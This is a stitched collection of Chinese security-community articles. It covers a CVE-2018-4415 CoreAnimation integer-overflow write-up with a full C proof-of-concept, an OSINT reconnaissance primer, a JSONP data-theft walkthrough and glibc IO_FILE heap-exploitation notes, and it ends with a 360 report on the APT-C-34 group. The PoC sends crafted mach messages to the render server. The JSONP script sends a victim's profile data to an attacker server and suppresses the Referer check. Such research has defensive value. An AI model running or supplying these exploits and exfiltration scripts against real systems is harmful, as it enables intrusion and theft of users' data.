v3)`或者`memset(v2, 0, 4 * v3)`。因此，当`4 * (v4 + v3)`溢出而`4 *
v3`没有溢出时，就会出现堆溢出问题。大家可以在本文后面的漏洞利用中，观察如何利用攻击者可控的这些值来触发整数溢出问题。
大家可以通过如下步骤，在macOS上复现这个问题：
1、`clang QuartzCoreFunctionIntOverFlow.c -o
quartz_core_function_over_flow -framework CoreGraphics`
2、`./quartz_core_function_over_flow`
1 Thread 0 Crashed:: Dispatch queue: com.apple.main−thread
com.apple.CoreFoundation 0x00007fff332e2daf __CFBasicHashAddValue + 2077
com.apple.CoreFoundation 0x00007fff332e33f5 CFDictionarySetValue + 187
com.apple.SkyLight 0x00007fff595ebfa9 CGXPostPortNotification + 123
com.apple.SkyLight 0x00007fff595eb947 notify_handler + 73
com.apple.SkyLight 0x00007fff595eb2d9 post_port_data + 237
com.apple.SkyLight 0x00007fff595eafba run_one_server_pass + 949
com.apple.SkyLight 0x00007fff595eab90 CGXRunOneServicesPass + 460
com.apple.SkyLight 0x00007fff595eb820 server_loop + 96
com.apple.SkyLight 0x00007fff595eb7b5 SLXServer + 1153
WindowServer 0x000000010011d4c4 0x10011c000 + 5316
libdyld.dylib 0x00007fff6036ced5 start + 1
Thread 2:: com.apple.coreanimation.render−server // CARenderServer thread
libsystem_platform.dylib 0x00007fff6056ce09 _platform_bzero$VARIANT$Haswell
+ 41
com.apple.QuartzCore 0x00007fff3e8ebaa4 CA::Render::Decoder::
decode_bytes(void*, unsigned long) + 46
com.apple.QuartzCore 0x00007fff3e8c35f7 CA::Render::InterpolatedFunction
::InterpolatedFunction(CA::Render::Decoder*) + 191
com.apple.QuartzCore 0x00007fff3e8c3524 CA::Render::Function::decode(CA
::Render::Decoder*) + 224
com.apple.QuartzCore 0x00007fff3e8ecb8a CA::Render::Decoder::
decode_object(CA::Render::Type) + 946
com.apple.QuartzCore 0x00007fff3e8edc8e CA::Render::decode_commands(CA::
Render::Decoder*) + 871
com.apple.QuartzCore 0x00007fff3e896422 CA::Render::Server::
ReceivedMessage::run_command_stream() + 748
com.apple.QuartzCore 0x00007fff3e73d2e1 CA::Render::Server::
server_thread(void*) + 1841
com.apple.QuartzCore 0x00007fff3e91427c thread_fun(void*) + 25
libsystem_pthread.dylib 0x00007fff60572795 _pthread_body + 159
libsystem_pthread.dylib 0x00007fff605726e2 _pthread_start + 70
libsystem_pthread.dylib 0x00007fff605722a9 thread_start + 13
### iOS 12.10
由于这个问题的原因非常清楚，并且iOS和macOS上的代码基本一致，因此在这部分内容中，我们只讨论iOS和macOS上的一些不同点。
1、iOS上不存在类似`CGSCreateLayerContext`之类的API，不能直接获取`CoreAnimation`渲染上下文，但经过一番探索后，我们发现可以使用`_XRegisterClient`这个MIG函数来替代`CGSCreateLayerContext`。首先，攻击者需要打开`com.apple.CARenderServer`服务（可以在沙盒中访问该服务），然后调用通过`mach_msg`发送id为`40202`的消息来调用`_XRegisterClient`；
2、如果想在iOS 12 beta系统上复现该问题，需要使用最新版的1Xcode-beta（使用最新的SDK）；
3、请按照www.malhal.com的说明导入`IOKit`框架头部。请注意，这里应该将目标目录改为Xcode-beta应用所在的目录；
4、代码位于应用程序的`didFinishLaunchingWithOptions`函数中，会在应用程序启动时触发；
5、当应用安装后，启动`applicationios-sbe`即可。
1 Thread 3 name: com.apple.coreanimation.render−server // CARenderServer thread
2 Thread 3:
0 libsystem_platform.dylib 0x000000018fefe584 0x18fef6000 + 34180
1 QuartzCore 0x0000000194a6e1d4 0x19491e000 + 1376724
2 QuartzCore 0x0000000194a21a58 0x19491e000 + 1063512
3 QuartzCore 0x0000000194a710b8 0x19491e000 + 1388728
4 QuartzCore 0x0000000194a719c0 0x19491e000 + 1391040
5 QuartzCore 0x00000001949fb140 0x19491e000 + 905536
6 QuartzCore 0x00000001949facdc 0x19491e000 + 904412
7 QuartzCore 0x0000000194ab65c8 0x19491e000 + 1672648
8 libsystem_pthread.dylib 0x000000018ff0c26c 0x18ff01000 + 45676
9 libsystem_pthread.dylib 0x000000018ff0c1b0 0x18ff01000 + 45488
10 libsystem_pthread.dylib 0x000000018ff0fd20 0x18ff01000 + 60704
Thread 13 name: Dispatch queue: com.apple.libdispatch−manager
Thread 13 Crashed:
0 libdispatch.dylib 0x000000018fd18514 0x18fcca000 + 320788
1 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
2 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
3 libdispatch.dylib 0x000000018fd0f1ac 0x18fcca000 + 283052
4 libsystem_pthread.dylib 0x000000018ff0d078 0x18ff01000 + 49272
5 libsystem_pthread.dylib 0x000000018ff0fd18 0x18ff01000 + 60696
## 四、利用代码
/**
* Brief: Integer overflow in CoreAnimation, CVE-2018-4415
* Usage:
* 1. clang FunctionIntOverFlow.c -o function_over_flow
* 2. ./function_over_flow
*
* Specifically, `CA::Render::InterpolatedFunction::allocate_storage` function in QuartzCore does
* not do any check for integer overflow in expression |result = (char *)malloc(4 * (v4 + v3));|.
*
* The bug has been fixed in macOS 10.14.1 and iOS 12.1, since the interfaces and structure of
* messages are inconsistent between different versions, this PoC may only work on macOS 10.14 and
* iOS 12.0, but it's very easy to replant it to another versions.
*
* Tips for debugging on macOS: Turn Mac to sleep mode and ssh to the target machine, this may
* help you concentrate on your work.
*
* One more: Mach service com.apple.CARenderServer is reacheable from Safari sandbox on both macOS
* and iOS. com.apple.windowserver.active accurately on macOS versions prior to macOS 10.14.
*/
#include <dlfcn.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
static void do_int_overflow() {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) =
dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
printf("[-] Cannot get service of %s, %s!n", render_service_name, mach_error_string(kr));
return;
}
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: %sn", mach_error_string(kr));
return;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
typedef struct quartz_function_int_overflow_s quartz_function_int_overflow_t;
struct quartz_function_int_overflow_s {
mach_msg_header_t header;
char msg_body[0x60];
};
quartz_function_int_overflow_t function_int_overflow_msg = {0};
function_int_overflow_msg.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
function_int_overflow_msg.header.msgh_remote_port = context_port;
function_int_overflow_msg.header.msgh_id = 40002;
memset(function_int_overflow_msg.msg_body, 0x0, sizeof(function_int_overflow_msg.msg_body));
*(uint32_t *)(function_int_overflow_msg.msg_body + 0) = 0x1; // Ports count
/**
* 1. One port consumes 12B space
* 2. This `mach_msg` routine dose not need a port, so set this port to MACH_PORT_NULL(memory
* cleared by memset)
*/
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 0) = 0xdeadbeef;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 4) = conn_id;
*(int8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16) = 2;
*(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 1) = 0xdeadbeefdeadbeef;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 9) = 0xffffffff;
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 13) = 0x12; // Decode Function
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 14) = 0x2;
/**(uint32_t*)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0xDECAFBAD;*/
*(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0x2000000000000000;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 23) = 1;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 27) = 2;
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 31) = 1;
kr = mach_msg(&function_int_overflow_msg.header, MACH_SEND_MSG,
sizeof(function_int_overflow_msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: %sn", mach_error_string(kr));
return;
}
return;
}
int main() {
do_int_overflow();
return 0;
} | 社区文章 |
> 翻译文章，原文链接：<https://0xpatrik.com/osint-organizations/>
>
> 原文作者：[Patrik Hudak](https://0xpatrik.com/)
在之前的文章中，我介绍了很多关于OSINT的内容。然而，仍有一些技术和想法未被公开。我将它们放在了这篇文章中，因为我觉得它们大多与组织有关。话虽如此，不要让这些原因阻止你在别处使用它们。这篇文章在组织的背景下演示了它们。一如既往，我构想了以下场景：
* 我正在与组织面谈/合作/做生意; 我想找到一些有关它们的信息。
* 我正在对组织进行安全评估/漏洞奖励; 我想找一些技术细节。
# 员工评价
_一个组织和员工一样好_
。话虽如此，员工也喜欢写他们公司的匿名评价。当你考虑加入公司或寻找期望的薪水范围时，这尤其有用。最受欢迎的网站是[Glassdoor Company
Reviews](https://www.glassdoor.com/Reviews/index.htm)。请注意，在查看所有评价之前，你需要先登录。一个类似的评价网站是[Indeed](https://www.indeed.com/companies)。
如图，在[Glassdoor.com](https://www.glassdoor.com/Reviews/index.htm)上评论 _Apple
Inc_ 。
关于公司的商业类型信息往往是针对其注册国家的，所以我决定不大量关注这个文章。有一些聚合器，如[opencorporates.com](https://opencorporates.com/)。我建议检查[OSINT框架](http://osintframework.com/)作为特定搜索提供程序的
_业务记录_ 。
# 技术架构
从pentester的角度来看，了解组织的技术架构是一件有价值的事情。你希望最大限度地提高工作效率，因此了解公司使用的防病毒或出站代理可能有助于你构建攻击。我喜欢多重努力来找出这些事情。
* _关注招聘启事_ 。他们通常包括职位所需的技能或经验。关注技术职位。你可以通过多种方式查看职位发布。一个好主意是[LinkedIn Jobs](https://www.linkedin.com/jobs/)。还有像[Indeed](https://www.indeed.com/)或[Monster Job](https://www.monster.com/)这样的[招聘](https://www.monster.com/)网站。我建议使用Google dork查找所有可能的网站：`"<ORG_NAME>" intext:career | intext:jobs | intext:job posting`。公司通常会在其网站上列出招聘信息。这种技术背后的想法很简单：组织倾向于保持一致，并在整个公司范围内部署相同的产品。
* 与之前的技术类似，在LinkedIn上查找 _组织的_ （ _技术）员工_ （查看上一篇[文章](https://0xpatrik.com/osint-people/)）。他们很可能会拥有最新的认证和技能。请注意，可以在之前的演出中获取认证，因此我通常使用此信息来交叉验证其他方法。
* _检查stackshare.io_ 。一些（主要是技术）公司公开分享其架构。
* _使用搜索引擎_ 。你不应该把自己局限在招聘启事上。[StackOverflow](http://stackoverflow.com/)或员工关于特定产品的其他类似网站可能存在问题。这些步骤将需要更深入的OSINT。
* _元数据_ 。组织通常在其网站上公开共享文档。你可以利用这一事实，默认情况下，Microsoft Office或Adobe Reader等流行的商业产品会将元数据附加到文件中。此元数据包含作者姓名，日期以及最重要的软件类型和版本等内容。你可以使用客户端漏洞利用某些软件的旧版本。最好的部分是，由于元数据通常包含作者的姓名，因此你知道谁是你的主要目标。如果你对此主题感兴趣，我强烈推荐[Martin Carnogursky](https://twitter.com/intense_feel)撰写的[这篇文章](https://blog.sweepatic.com/metadata-hackers-best-friend/)。
* 你希望在脱离网络的情况下找出网络内部正在运行的内容（请注意，外部扫描很可能不会告诉你正在部署的Web代理）。有一种方法，我仍然将其标记为 _实验性的_ 。该方法称为 **DNS缓存侦测** 。
基本思路是：你将检查组织的DNS缓存，以查看之前是否有对某个特定域的请求。为什么有用？想象一下杀毒软件。它会定期下载新签名。例如，某些来自McAfee的更新来自域`download.nai.com`。你可以对组织的DNS服务器使用非递归DNS请求来检查此域是否在其缓存中。但是，必须共享外部和内部DNS服务器（或至少是它们的缓存），并且缓存命中可能只是误报。这就是为什么我称它为
_实验性的_ 。让我们看一个可能让你更容易（或不容易）的图表：
你可以使用以下`dig`命令执行非递归DNS查询：
dig @DNS_SERVER -t A DOMAIN_TO_CHECK +norecurse
通过 _外部_ DNS服务器，我主要是指为组织的网站提供服务的DNS服务器，换句话说：
dig -t NS MAIN_DOMAIN
另一个问题是你需要知道产品的域名（即snooping签名）。有一个项目，如[DNSSnoopDogg](https://github.com/felmoltor/DNSSnoopDogg)。但是它们已有一段时间没有更新。
# 公开机密
这篇文章的最后一篇，也是我最喜欢的一篇，是公开机密。令人难以置信的是，组织在没有意识到的情况下公开分享。事实上，这篇文章已经涵盖了两个类别： _元数据_ 和
_公开服务_ 。
但是，还有其他类型的公开机密。首先，有一些机密被提交给git存储库。当开发人员使用在源代码中硬编码的API密钥或密码的代码时，通常会发生这种情况。当此类代码提交到git存储库时，即使稍后删除（未清除）该密钥，它也会保留在其历史记录中。我用来扫描git存储库的项目有两个：[gitleaks](https://github.com/zricethezav/gitleaks)和[truffleHog](https://github.com/dxa4481/truffleHog)。
同样，粘贴网站是机密数据的金矿。开发人员倾向于使用这些站点共享代码，并且他们不倾向于查看安全方面 -通常提交包含机密的代码。如果你想深入研究这个，我推荐使用[PasteHunter](https://github.com/kevthehermit/PasteHunter)。这是一个定期检查流行的粘贴网站并运行[YARA](https://virustotal.github.io/yara/)签名来检查它是否包含有趣字符串的项目。或者，你可以使用ad-hoc方法，例如使用Google dorks : `site:pastebin.com ORG_DOMAIN`.
最后，我想提一下公共[S3
buckets](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html)。最近出现了敏感信息托管在公共S3
buckets中的[多种](https://www.scmagazine.com/open-aws-s3-bucket-exposes-sensitive-experian-and-census-info-on-123-million-us-households/article/720067/)
[案例](https://www.infosecurity-magazine.com/news/fedex-s3-bucket-exposes-private/) 。可以将S3
buckets配置为公共的，开发人员通常会选择这种bucket，因为它更易于使用。问题是一旦发现了bucket名称，任何人都可以看到所有内容而无需身份验证。从工具中，我推荐[bucket-stream](https://github.com/eth0izzle/bucket-stream)作为CLI工具。我还强烈推荐一种新工具，可以看作是
_Shodan for S3_ \-[buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)。
OSINT Primer的第4部分将涉及 _证书_ 。请继续关注[Twitter](https://twitter.com/0xpatrik)以获取它。 | 社区文章 |
## bugbounty: 利用JSONP绕过Referer检查
原文链接：<https://medium.com/@osamaavvan/exploiting-jsonp-and-bypassing-referer-check-2d6e40dfa24>
各位小伙伴，你们好！！！
这篇文章是关于如何利用JSONP绕过Referer检查，并从API端点获取数据。
JSONP(JSON With
Padding)创建JSONP是为了授予对JavaScript的跨源读取访问权限，它充当SOP（同源策略）的例外，并允许跨源数据访问，它可用于绕过SOP以访问跨源数据。
简单看一下JSONP的工作机制：
返回数据的API端点在脚本标签中使用回调函数，回调函数的具体内容如下：
<script src=”https://redact.com/api/user/profile?callback=call_me”></script>
我们需要在脚本中创建一个标签src传递回调函数(`https://redact.com/api/user/profile?callback=call_me`)你可以称它为：`call_me`
<script>function call_me(data) {console.log(data)}
代码将如下所示：
首先，我们需要创建回调函数，然后我们在脚本中创建标签
<script>function call_me(data) {console.log(data)}</script>
<script src=”https://redact.com/api/user/profile?callback=call_me”></script>
此代码将在浏览器控制台中记录数据。
现在我们如何验证API是否容易受到此JSONP漏洞的攻击。
例如，我们有一个端点，显示用户钱包数据：
https://user.redact.com/payment/wallet/balance
现在添加一个像这样的回调查询参数，
https://user.redact.com/payment/wallet/balance?callback=call_me
如果端点启用了JSONP，它将创建一个名为call_me的对象，所有数据都将在该对象内部，如下所示
因此，这确认了端点支持JSONP并且可以被利用，现在我们将使用我之前解释过的JavaScript代码。
<script>function call_me(data) {console.log(data)}</script>
<script src=”https://redact.com/api/user/profile?callback=call_me”></script>
现在你也可以创建一个`.html`文件，它将提取数据并将其存储在你想要的服务器上。你只需将URL发送给受害者，然后你就可以编写自己的JavaScript代码，具体代码信息如下：
<script>
function call_me(response) {
var http = new XMLHttpRequest();
var url = ‘https://yourserver.com/store.php';
var params = ‘data=’+JSON.stringify(response);
http.open(‘POST’, url, true);
http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}
</script>
<script src=”https://user.redact.com/api/user/profile?callback=call_me"></script>
### 绕过Referer检查
最近我发现了一个易受JSONP攻击的API端点，可以使用回调函数获取数据，并且我之前写的获取数据的代码可以使用，当从我的电脑本地运行代码时，我可以获取`file://`目录下的数据。
但是当我在Web服务器上传文件时，我收到了一个错误的OBJECT而不是数据，其中包含身份验证错误和重定向URL到站点的登录页面。
经过几个小时的思考，我知道了服务器检查的方法：
首先：服务器检查`Referer Header`，如果`Referer Header`值包含跨域信息，则`Server`拒绝请求。
因此，为了绕过此安全检查，我只需要删除Referer Header。
我使用HTML meta 标签限制浏览器发送Referer Header，它是：`<meta name=”referrer” content=”no-referrer”>`
因此，在HTML heade中添加`meta`标签可以完成这项工作。
<head><meta name=”referrer” content=”no-referrer”></head>··
<script>
function call_me(response) {
var http = new XMLHttpRequest();
var url = ‘https://yourserver.com/store.php';
var params = ‘data=’+JSON.stringify(response);
http.open(‘POST’, url, true);
http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}
</script>
<script src=”https://user.redact.com/api/user/profile?callback=call_me"></script> | 社区文章 |
# 【技术分享】CTF中带来的IO_FILE新思路
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[FlappyPi](http://bobao.360.cn/member/contribute?uid=1184812799)g
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
之前一直打算写一份有关 **IO_FILE**
的文章，但是由于自己太忙，所以一直都没有写。最初接触到IO_FILE是在pwnable.tw网站上做题时，碰到的题目能够通过对stdin进行伪造的话，能够把伪造虚表的地址以及虚表中的函数。从而造成任意代码执行。
之后再次遇见IO_FILE的时候是在2016的hitcon上面的house of orange，这个题目将IO_FILE和堆中的 **unsorted
bin attack** 结合了起来。通过unsorted bin attack修改了IO_list_all，在flush
io的时候造成了任意代码的执行。这样的攻击方法都是通过伪造IO_FILE的结构体，修改虚表的位置来利用的。
但是之后，由于ubuntu17.04的发布，libc-2.24.so中增加了对vtable的check，所以之前通过修改虚表来进行漏洞利用的方法现在已经用不了了。
**
**
**新的思路**
之后在参加WCTF 2016的时候，hitcon给出了challenge
wannaheap。这个题目当时所有参赛的队伍没有一个做出来。之后在赛后分享的时候，根据它们的讲述，才发现这个题目为什么当时没有人解出来……它将IO_FILE的利用带上了一个新的层面。我们下面对这个题目详细分析一下来进一步加深对IO_FILE利用的理解，本文中对wannaheap的解题思路完全是根据当时hitcon在WCTF上分享的来的。
**
**
**Wannaheap**
题目的结构体只有两个，chunk和node
struct __attribute__((packed)) __attribute__((aligned(4))) node
{
_QWORD left;
_QWORD right;
__int64 key;
__int64 data;
_DWORD random;
};
struct __attribute__((aligned(8))) chunk
{
_QWORD real_addr;
_QWORD addr;
};
首先它实现了一个前后都有随机数据和随机大小的堆分配结构，这样的话，堆的分配就变得难以预测。
分配的大小是rand1 + size + rand2，其中size是想要分配的大小。
所以这中间的这个堆块的位置是很难找到的，calloc设置的size大小也是很难控制的。
分配的chunk就像上面这样，后面会把这里的地址存到一个global的数组里面去。
chunk的存储方式像是一个存在key值的红黑树，左子树的key值小于根节点，右子树的key值大于根节点。
另外还增加了一个random的操作来对树进行rotate，但是这里有点没有弄懂，这样的操作貌似会破坏树的结构…不过这个存储对后面做exploit不是很重要，可以先放在一边。
**
**
**vuln**
这个题目存在两个漏洞，第一个漏洞在 **set_data_area**
这个函数里面，是一个libc任意地址写一个x00的字节，malloc的时候如果size比较大的时候会调用mmap，当malloc的size在0x30000之上的时候就会mmap在libc和bin之间
另外一个漏洞是在Allocate函数里面，在设置data的时候read了0x18个字节到栈上面，但是栈上面并没有被清干净，所以strdup之后data会被存到Nosql里面去。之后在Read函数里面就可以泄漏这个地址了。
**
**
**利用**
因为只能够往libc里面写一个x00，这就很难去利用了…
但是在ubuntu 17.04里面这个利用是可能的，也只能够在ubuntu 17.04里面进行利用，只有在libc.so.2.14版本中才可以。
首先必须要认识的是stdin这个结构体。
这个结构体里面比较关键的就是IO_read_ptr, IO_read_end, IO_read_base, IO_write_base
…这些指针。他们是用来作为输入和输出的缓冲区的。从阅读源码中可以知道。
所以这里我们可以往IO_buf_base的最后一个字节写上x00，这样IO_buf_base就正好指向_IO_buf_end的开头了，但是由于libc-2.24.so中的vtable
check，我们无法伪造整个的vtable。
所以之后我们就往下覆盖直到main_arena，其中会经过malloc_hook，可以把malloc_hook覆盖成任意数值，但是这里用了seccomp，所以我们没有办法把它覆盖成onegadget的地址。
往下是main_arena的位置，我们可以覆盖到unsortedbin[1]的地址，覆盖成伪堆块的地址，然后在伪堆块的bk上面写上_dl_open_hook
– 0x10的地址来做unsorted bin attack。这样的话unsortedbin attack
之后dl_open_hook的位置就会被写上main_arena + 88的地址，让dl_open_hook指向了main_arena+88。
dl_open_hook是一个结构体，这个结构体里面是三个函数的指针，当dl_open_hook不是空的时候会对vtable进行check，然后能够跳到dl_open_hook的dlopen_mode上面，具体什么原因我也不太清楚。
所以这样我们就能够得到执行一次gadget的机会了。但是这里要怎么控制rip跳转到我们的rop上面呢？
通过 mov rdi, rax; call [rax + 0x20];这个gadget就能够控制rdi和rip。
然后通过setcontext+52
能够控制rsp跳到我们的libc area里面，这样的话就能够继续执行rop了。
这个题目的巧妙之处就在于它利用了libc-2.24.so中_IO_buf_end的偏移最后一个字节是x00。所以这个x00的写入才能够控制整个IO_FILE结构体。
**
**
**另一种思路**
在此之后，我在WHCTF 2017的线上赛中出了一道名叫stackoverflow的题目。不过很显然这个题目不会是一个简单的stackoverflow。
这个题目的思路与预期解法都是和wannaheap一样的，通过一个x00字节的任意写，控制整个IO_FILE，然后得到任意代码执行的能了。
但是在比赛之后我审查他们提交的writeup的时候发现AAA的大佬们提供了另外一种不同的思路，同样是由于libc-2.24.so的vtable
check的限制，他们给出了另外一种不同的绕过思路。
**
**
**_IO_vtable_check到底做了什么**
<https://code.woboq.org/userspace/glibc/libio/vtables.c.html#39>
主要检查了三种情况，如果这三种情况都不满足的话，那么就说明vtable已经被改变过了。所以之后就会跳到
__libc_fatal ("Fatal error: glibc detected an invalid stdio handlen");
**
**
**how to bypass the _IO_vtable_check**
其实还是利用在
int
_IO_flush_all_lockp(int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
中的chain字段，伪造一个file结构体，然后修改chain为这个结构体的地址。之后在调用IO_flush_all_lockp函数的时候，这个结构体就会被调用。
但是因为check了vtables，所以不能够任意提供一个伪造的vtable的地址，但是可以使用io_str_jumps 这个vtable。
正常的IO_FILE_jumps的IO_OVERFLOW就是直接跳到虚表中这个偏移位置的地址
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
但是在io_str_jumps的虚表中 overflow 对应的处理函数是不一样的，我们可以利用这里不一样的地方直接执行system('/bin/sh')
<https://code.woboq.org/userspace/glibc/libio/strops.c.html#81>
最终通过
(*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
跳到system('/bin/sh')上面
**
**
**总结**
文章介绍了通过IO_FILE来造成任意代码执行的方法。IO_FILE从开始的没有任何保护，到现在有了对结构体关键位置的check。漏洞的利用方式也开始变的越来越复杂，对利用的要求也会越来越高。不过在我看来，只要能够做到对IO_FILE的改写，就能够做到任意代码执行。
如果文章中有什么说的不对的地方，还请大家多多批评指正。 | 社区文章 |
# 盘旋在中亚上空的阴影：黄金雕（APT-C-34）组织攻击活动揭露
##### 译文声明
本文是翻译文章，文章原作者 360，文章来源：blogs.360.cn
原文地址：<http://blogs.360.cn/post/APT-C-34_Golden_Falcon>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
Hacking Team是为数不多的几家在全世界范围出售商业网络武器的公司之一。2015年7月5日，Hacking
Team遭遇了大型数据攻击泄漏事件，该公司已经工程化的漏洞和后门产品代码几乎被全部公开。该事件泄露包括了Flash、Windows字体、IE、Chrome、Word、PPT、Excel、Android的未公开0day漏洞，覆盖了大部分的桌面电脑和超过一半的智能手机。泄露的网络武器被黑客大肆利用，随后Hacking
Team公司也宣布破产被并购。2015年后，有关HackingTeam的活动突然销声匿迹。
2018年在乌俄两国突发“刻赤海峡”事件的危机时刻，360高级威胁应对团队在全球范围内率先发现了一起针对俄罗斯的APT攻击行动，攻击者精心准备了一份俄文内容的员工问卷的诱饵文档，根据文档内容推测，攻击所指向的是俄罗斯总统办公室所属的医疗机构，结合被攻击目标医疗机构的职能特色，我们将APT攻击命名为了“毒针”行动。我们无法确定“毒针”行动的动机和攻击身份，但攻击所指向的医疗机构特殊背景，使攻击表现出了明确的定向性，同时攻击发生在“刻赤海峡”危机的敏感时段，也为攻击带上了一些未知的政治意图。
我们发现“毒针”行动使用了Flash 0day漏洞CVE-2018-15982
，后门程序疑似自于意大利网络武器军火商HackingTeam，所以不难推测其背后的APT组织可能经常采购商业网络武器。种种迹象表明HackingTeam的生意并没有消失，这引发了我们对HackingTeam网络武器再次追踪的兴趣，我们尝试针对HackingTeam网络武器进行关联追踪，意料之外地发现了一支未被披露过的俄语系APT组织，该组织的活动主要影响中亚地区，大部分集中在哈萨克坦国境内。因为是全球首次发现披露，我们参照中亚地区擅长驯养猎鹰进行狩猎的习俗特性，将该组织命名为黄金雕（APT-C-34）。
## 概要
在针对HackingTeam后门程序研究过程中，我们从360的大数据中找到了更多的在野攻击中使用的HackingTeam后门程序，通过对程序的同源性进行分析，关联扩展发现了大量不同种类的后门程序。通过持续一年的观察和一步一步的深入调查分析，我们挖掘了更多的细节信息，逐渐整合形成了黄金雕（APT-C-34）组织的全貌
黄金雕（APT-C-34）组织的受害者广泛分布中亚地区，主要活跃在哈萨克斯坦国境内，涉及各行各业，包括教育、航空航天、政府机关、媒体工作人员等，其中部分受害者有中国背景，涉及我方与哈萨克合作项目，而极少数的人位于西北部地区。该组织背后疑似有政府实体机构支持其行动。
在技术手段上，除了传统的后门程序，黄金雕（APT-C-34）组织还采购了HackingTeam和NSO的商业间谍软件。我们发现该组织的HackingTeam
后门版本号为10.3.0，与“毒针”行动的后门版本号相同。在攻击方式上，除了使用了传统的社会工程学等手段外，该组织也大量使用了物理接触的方式投递恶意程序（例如U盘等）；除此之外，其也有使用特殊侦查设备对目标直接进行窃听和信号获取的迹象。
## 攻击影响范围
